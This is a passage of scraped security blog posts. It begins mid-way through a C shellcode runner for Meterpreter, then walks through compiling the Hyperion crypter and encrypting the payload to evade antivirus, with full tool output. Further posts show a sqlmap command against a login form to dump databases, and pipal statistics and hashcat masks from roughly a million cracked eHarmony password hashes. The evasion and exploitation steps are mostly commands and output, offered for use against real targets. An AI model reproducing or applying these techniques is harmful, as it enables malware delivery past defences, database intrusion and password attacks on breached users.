“\x1d\xb6\x0f\xfe\xca\x7b\x03\xd1\x94\x54\xba”

// Push Meterpreter into memory
int main(void) { ((void (*)())payload)();}

Congrats, you’ve made a pretty decent template file which includes our payload. Now, all that you need to do is compile it. I like to use gcc.exe within Backtrack with wine. So, you can navigate to the compiler (it’s at /root/.wine/drive_c/MinGW/bin/gcc.exe), call the compiler through wine, provide it our source file, and specify the output file. Your command should look similar to the following:

Congrats again. You now have an executable that you should be able to drop on a windows machine that doesn’t get flagged by Microsoft Security Essentials in addition to a variety of anti-virus programs.

So now what?

There’s an additional step we can take to try to further prevent detection of our executable, and it’s with a packer & encrypting tool called hyperion. Hyperion is a tool that encrypts the executable you provide it with 5 rounds of AES encryption by default and outputs an executable. The executable file that is produced by hyperion can then be ran on a windows machine. The executable will brute force its own AES keys and then execute the payload you originally provided it. It’s a sweet tool that does a really good job at hiding the payload you are encrypting. The only problem with hyperion at times is that it can be detected as a packer by certain anti-virus programs. However, it still is not recognized by a majority of AV solutions.

This is a quick article introducing Hyperion, a sweet tool I found after listening to Dave Kennedy talk, and how it can be compiled.

First, while researching how to use the tool, I came across this resource which helped me to write this article.

Hyperion is a tool that can be used to help prevent your payload from being detected by antivirus. It works by encrypting your payload via AES encryption, and essentially throwing away the keys. It’s output is an encrypted executable. When the output file is ran, the executable brute forces the encryption keys, and then runs the previously encrypted executable (meterpreter payload :)).

So where do you get it and how can you compile it? Hyperion can be found for download at this location.

Once downloaded and unzipped, you can easily compile the tool with g++.exe on Backtrack. To compile it, point g++.exe to the .cpp files within the “Crypter” directory under “Src”. Your command may look similar to the following:

wine g++.exe Hyperion-1.0/Src/Crypter/*.cpp -o hyperion.exe

Your command should have completed without any errors, and now you have compiled hyperion for use.

So all we need to do is call hyperion, provide it our executable that we want it to hide, and then give it the name of the executable to output. Once compiled, hyperion can be run through wine or from the Windows command line. Our commands and their output should look similar to the following:

root@bt:~/.wine/drive_c/MinGW/bin/Hyperion-1.0# wine hyperion.exe metexecutable.exe encryptedmet.exe
Opening metexecutable.exe
Copied file to memory: 0x115868
Found valid MZ signature
Found pointer to PE Header: 0x80
Found valid PE signature
Found a PE32 file
Number of Data Directories: 16
Image Base: 0x400000

Found Section: .text
VSize: 0x924, VAddress: 0x1000, RawSize: 0xa00, RawAddress: 0x400

Found Section: .data
VSize: 0x5f0, VAddress: 0x2000, RawSize: 0x600, RawAddress: 0xe00

Found Section: .rdata
VSize: 0xc0, VAddress: 0x3000, RawSize: 0x200, RawAddress: 0x1400

Found Section: .bss
VSize: 0xe0, VAddress: 0x4000, RawSize: 0x0, RawAddress: 0x0

Found Section: .idata
VSize: 0x268, VAddress: 0x5000, RawSize: 0x400, RawAddress: 0x1600

Input file size + Checksum: 0x4140
Rounded up to a multiple of key size: 0x4150
Generated Checksum: 0xcf0cc
Generated Encryption Key: 0x0 0x2 0x1 0x2 0x3 0x3 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0

Written encrypted input file as fasm array to:
-> Src\FasmContainer32\infile.asm

Written input file’s image base to:
-> Src\FasmContainer32\imagebase.asm

Written input file’s image size to:
-> Src\FasmContainer32\sizeofimage.asm

Written keysize to:
-> Src\FasmContainer32\keysize.inc

Starting FASM with the following parameters:
Commandline: Fasm\FASM.EXE Src\FasmContainer32\main.asm encryptedmet.exe
FASM Working Directory: C:\MinGW\bin\Hyperion-1.0

Executing fasm.exe

flat assembler version 1.69.31 (1020166 kilobytes memory)
5 passes, 0.1 seconds, 35328 bytes.

And that’s it. Hopefully either or a combination of both of these techniques have helped you to bypass the antivirus product you are going against.

Good luck, and let me know if you have any questions!

SQLMap –data trick

July 30, 2012May 22, 2013Christopher Truncer Featured Category, IT Security --data, malformed html, sqlmap Leave a comment

I’ve recently learned a new trick about sqlmap that I think is worth sharing. If you already know this, power to you, if not, hope that this helps you out.

The scenario where I learned this trick was as follows: I was trying to run sqlmap against a web form that I identified as being vulnerable to a SQL injection attack. I ran sqlmap with the usual “–forms” after providing it the web address of the form, and off sqlmap went. However, as the tool started parsing the code, I immediately kept receiving errors about mal-formed HTML code which would cause sqlmap to error out and quit immediately. I attempted running the same command a couple more times, all with the same result, and was therefore unable to have sqlmap run against the form field.

Needless to say, I was pretty disappointed because I know the form had an injection flaw. It was obviously posible to to manually exploit the injection flaw to dump the data out of the DBMS behind the form, but an automated tool such as sqlmap would be able to get the job done much quicker, so I set out on researching how to fix this. Within about 30 minutes, I found my answer.

I discovered that instead of giving sqlmap the -u URL of the form web page, I should actually give it the URL of the form processing page. Next, since the information is passed via a POST request, I need to copy the variables and the values sent in the post request, and input that into sqlmap. To gather all this information, I turned on Burp Suite, navigated to the form processing page, ensured intercept was on, and then submitted data through the form. Burp suite caught the form processing URL and all data being sent via a POST request. I copied the URL and set the URL as the -u value for sqlmap. I also copied the data that was being sent in the POST request, and set the data as the –data value within the sqlmap command. The last piece of data I used within the sqlmap command (before I gave what I wanted out of the DBMS such as –dbs, or –tables) was the -p switch. This switch lets me identify specifically which parameter I wan sqlmap to target. Since I already identified the injection flaw within the form, I just found the variable name that was given to the specific form field which was injectable, and provided it within the sqlmap command.

Edit: Want to be able to just give the request in a single file? Easily copied from Burp Suite? Just save the request that burp intercepted in a txt file, and then call sqlmap and pass it the text file using the -r switch. This will tell sqlmap to read the url and variables from the request file.

To help show what I mean, I’ll use my web page’s login form as a sample target. If I had to perform the exact steps above in relation to my login page, the sqlmap command would look like (the “-” should actually be a double dash for the dbs and data switch, however it is being filtered at the moment):

./sqlmap.py -u http://www.christophertruncer.com/wp-login.php –data=”log=TestUserAccount&pwd=TestUserPassword&wp-submit=Log+In&redirect_to=http%3A%2F%2Fwww.christophertruncer.com%2Fwp-admin%2F&testcookie=1″ -p pwd –dbs

In the command above, I am giving it the login.php page as the page to target. This is the page the processes the data sent in the POST request made by a browser (in this case, it’s also the page where the form is stored). The information in the –data switch is the information sent in the POST request to the form processing page. The -p parameter is the variable that I am having sqlmap target, which in this case is the password field. Finally, the –dbs switch is given to tell sqlmap once I have injected into the form, return all database names stored on the backend database server.

Once I set the above commands, I ran the sqlmap statement, received no errors, and was able to automate gathering all the data I needed/wanted from the backend database.

Hope this helps in the event anyone comes across a mal-formed html code error within sqlmap!

eHarmony Password Cracking with Pipal Analysis

June 22, 2012May 22, 2013Christopher Truncer Featured Category, Password Cracking eHarmony, hashcat, password, password cracking, Pipal Leave a comment

Over the weekend I ran hashcat on my machine against the md5 hashes from the eHarmony hack. One thing that is interesting to note, is that all eHarmony passwords that use a character are uppercased. This helps reduce the keyspace and allows more effective brute force password checks.

After a couple days of both dictionary and brute force attacks, I’ve found 1071380 passwords. Below are the stats that pipal (by Robin Wood aka @digininja) produced.

Total entries = 1071380
Total unique entries = 1071376

Top 10 passwords
PHIL4 = 2 (0.0%)
PROV3 = 2 (0.0%)
JER29 = 2 (0.0%)
FREETOBEME = 2 (0.0%)
MAR141991 = 1 (0.0%)
KEZEA = 1 (0.0%)
LEJKA = 1 (0.0%)
BILHA = 1 (0.0%)
JENBA = 1 (0.0%)
POMAA = 1 (0.0%)

Top 10 base words
lisa = 254 (0.02%)
chris = 221 (0.02%)
tina = 196 (0.02%)
eric = 188 (0.02%)
nana = 167 (0.02%)
mama = 163 (0.02%)
usmc = 161 (0.02%)
emma = 158 (0.01%)
mike = 154 (0.01%)
lola = 146 (0.01%)

Password length (length ordered)
2 = 2 (0.0%)
3 = 2 (0.0%)
4 = 3 (0.0%)
5 = 46628 (4.35%)
6 = 253347 (23.65%)
7 = 279971 (26.13%)
8 = 200416 (18.71%)
9 = 133066 (12.42%)
10 = 90838 (8.48%)
11 = 35970 (3.36%)
12 = 18727 (1.75%)
13 = 7974 (0.74%)
14 = 4173 (0.39%)
15 = 277 (0.03%)

Password length (count ordered)
7 = 279971 (26.13%)
6 = 253347 (23.65%)
8 = 200416 (18.71%)
9 = 133066 (12.42%)
10 = 90838 (8.48%)
5 = 46628 (4.35%)
11 = 35970 (3.36%)
12 = 18727 (1.75%)
13 = 7974 (0.74%)
14 = 4173 (0.39%)
15 = 277 (0.03%)
4 = 3 (0.0%)
2 = 2 (0.0%)
3 = 2 (0.0%)

|
||
||
||
|||
|||
|||
|||
||||
||||
|||||
|||||
|||||
|||||||
||||||||
|||||||||||||||||
00000000001111111
01234567890123456

One to six characters = 299977 (28.0%)
One to eight characters = 780362 (72.84%)
More than eight characters = 291018 (27.16%)

Only lowercase alpha = 0 (0.0%)
Only uppercase alpha = 435542 (40.65%)
Only alpha = 435542 (40.65%)
Only numeric = 10457 (0.98%)

First capital last symbol = 158 (0.01%)
First capital last number = 493747 (46.09%)

Months
january = 27 (0.0%)
february = 5 (0.0%)
march = 191 (0.02%)
april = 251 (0.02%)
may = 2289 (0.21%)
june = 361 (0.03%)
july = 229 (0.02%)
august = 92 (0.01%)
september = 9 (0.0%)
october = 45 (0.0%)
november = 38 (0.0%)
december = 33 (0.0%)

Days
monday = 33 (0.0%)
tuesday = 11 (0.0%)
wednesday = 2 (0.0%)
thursday = 4 (0.0%)
friday = 32 (0.0%)
saturday = 4 (0.0%)
sunday = 30 (0.0%)

Months (Abreviated)
jan = 2971 (0.28%)
feb = 500 (0.05%)
mar = 10381 (0.97%)
apr = 742 (0.07%)
may = 2289 (0.21%)
jun = 1369 (0.13%)
jul = 1234 (0.12%)
aug = 850 (0.08%)
sept = 142 (0.01%)
oct = 665 (0.06%)
nov = 1021 (0.1%)
dec = 974 (0.09%)

Days (Abreviated)
mon = 6302 (0.59%)
tues = 21 (0.0%)
wed = 290 (0.03%)
thurs = 13 (0.0%)
fri = 915 (0.09%)
sat = 886 (0.08%)
sun = 1826 (0.17%)

Includes years
1975 = 641 (0.06%)
1976 = 637 (0.06%)
1977 = 649 (0.06%)
1978 = 714 (0.07%)
1979 = 656 (0.06%)
1980 = 827 (0.08%)
1981 = 715 (0.07%)
1982 = 725 (0.07%)
1983 = 736 (0.07%)
1984 = 849 (0.08%)
1985 = 733 (0.07%)
1986 = 727 (0.07%)
1987 = 715 (0.07%)
1988 = 580 (0.05%)
1989 = 652 (0.06%)
1990 = 479 (0.04%)
1991 = 441 (0.04%)
1992 = 339 (0.03%)
1993 = 278 (0.03%)
1994 = 299 (0.03%)
1995 = 361 (0.03%)
1996 = 322 (0.03%)
1997 = 318 (0.03%)
1998 = 415 (0.04%)
1999 = 469 (0.04%)
2000 = 1443 (0.13%)
2001 = 816 (0.08%)
2002 = 752 (0.07%)
2003 = 814 (0.08%)
2004 = 877 (0.08%)
2005 = 1083 (0.1%)
2006 = 1235 (0.12%)
2007 = 1302 (0.12%)
2008 = 1401 (0.13%)
2009 = 1373 (0.13%)
2010 = 897 (0.08%)
2011 = 202 (0.02%)
2012 = 228 (0.02%)
2013 = 85 (0.01%)
2014 = 52 (0.0%)
2015 = 57 (0.01%)
2016 = 46 (0.0%)
2017 = 43 (0.0%)
2018 = 50 (0.0%)
2019 = 95 (0.01%)
2020 = 390 (0.04%)

Years (Top 10)
2000 = 1443 (0.13%)
2008 = 1401 (0.13%)
2009 = 1373 (0.13%)
2007 = 1302 (0.12%)
2006 = 1235 (0.12%)
2005 = 1083 (0.1%)
2010 = 897 (0.08%)
2004 = 877 (0.08%)
1984 = 849 (0.08%)
1980 = 827 (0.08%)

Single digit on the end = 102834 (9.6%)
Two digits on the end = 145583 (13.59%)
Three digits on the end = 74986 (7.0%)

Last number
0 = 45295 (4.23%)
1 = 96804 (9.04%)
2 = 56343 (5.26%)
3 = 56725 (5.29%)
4 = 43399 (4.05%)
5 = 44898 (4.19%)
6 = 40625 (3.79%)
7 = 46685 (4.36%)
8 = 40858 (3.81%)
9 = 45590 (4.26%)

|
|
|
|
|
|
|||
|||
|||||| | |
||||||||||
||||||||||
||||||||||
||||||||||
||||||||||
||||||||||
||||||||||
0123456789

Last digit
1 = 96804 (9.04%)
3 = 56725 (5.29%)
2 = 56343 (5.26%)
7 = 46685 (4.36%)
9 = 45590 (4.26%)
0 = 45295 (4.23%)
5 = 44898 (4.19%)
4 = 43399 (4.05%)
8 = 40858 (3.81%)
6 = 40625 (3.79%)

Last 2 digits (Top 10)
23 = 15230 (1.42%)
12 = 11373 (1.06%)
11 = 10914 (1.02%)
01 = 10281 (0.96%)
00 = 8981 (0.84%)
21 = 8385 (0.78%)
22 = 8264 (0.77%)
13 = 7935 (0.74%)
69 = 7928 (0.74%)
07 = 7778 (0.73%)

Last 3 digits (Top 10)
123 = 8690 (0.81%)
007 = 2778 (0.26%)
000 = 2628 (0.25%)
234 = 2469 (0.23%)
777 = 1759 (0.16%)
001 = 1685 (0.16%)
009 = 1674 (0.16%)
008 = 1653 (0.15%)
111 = 1611 (0.15%)
101 = 1601 (0.15%)

Last 4 digits (Top 10)
1234 = 1995 (0.19%)
2008 = 1277 (0.12%)
2009 = 1258 (0.12%)
2000 = 1192 (0.11%)
2007 = 1171 (0.11%)
2006 = 1097 (0.1%)
2005 = 967 (0.09%)
2345 = 909 (0.08%)
2004 = 784 (0.07%)
2010 = 782 (0.07%)

Last 5 digits (Top 10)
12345 = 793 (0.07%)
23456 = 444 (0.04%)
54321 = 153 (0.01%)
55555 = 133 (0.01%)
11111 = 123 (0.01%)
77777 = 110 (0.01%)
56789 = 106 (0.01%)
00000 = 94 (0.01%)
96969 = 66 (0.01%)
34567 = 65 (0.01%)

US Area Codes
234 = NE Ohio: Canton, Akron (OH)

Character sets
upperalphanum: 624283 (58.27%)
upperalpha: 435542 (40.65%)
numeric: 10457 (0.98%)
upperalphaspecialnum: 482 (0.04%)
upperalphaspecial: 473 (0.04%)
specialnum: 67 (0.01%)

Character set ordering
stringdigit: 479830 (44.79%)
allstring: 435542 (40.65%)
digitstring: 58288 (5.44%)
stringdigitstring: 50016 (4.67%)
othermask: 24689 (2.3%)
digitstringdigit: 11889 (1.11%)
alldigit: 10457 (0.98%)
stringspecialstring: 342 (0.03%)
stringspecialdigit: 223 (0.02%)
stringspecial: 90 (0.01%)
specialstring: 8 (0.0%)
specialstringspecial: 6 (0.0%)

Hashcat masks (Top 10)
?u?u?u?u?u?u?u?u: 108525 (10.13%)
?u?u?u?u?u?u: 101112 (9.44%)
?u?u?u?u?u?u?u: 88475 (8.26%)
?u?u?u?d?d?d?d: 52666 (4.92%)
?u?u?u?u?u?u?u?u?u: 50870 (4.75%)
?u?u?u?u?d?d: 38725 (3.61%)
?u?u?u?u?u?u?u?u?u?u: 33055 (3.09%)
?u?u?u?u?u?d?d: 32912 (3.07%)
?u?u?d?d?d?d: 30207 (2.82%)
?u?u?u?u?u?u?d: 26176 (2.44%)

Christopher Truncer's Website

A Hacker's Perspective

Featured Category

I Have the Password Hashes! Can I Pass Them?

Multiple Methods for Dropping Payloads with Credentials (or Hashes)

psexec_command – When You Can’t Trigger Your Payload

Veil – A Payload Generator to Bypass Antivirus

Red Teaming a CCDC Practice Event

Ghost in the Shellcode Teaser – Poetry Writeup

Poetry

Hack3rcon 3 CTF Writeups!

Bypass Antivirus with Meterpreter as the Payload & Hyperion Fun

SQLMap –data trick

eHarmony Password Cracking with Pipal Analysis

Share this:

Share this:

Share this:

Share this:

Share this:

Poetry

Share this:

Share this:

Share this:

Share this:

Share this: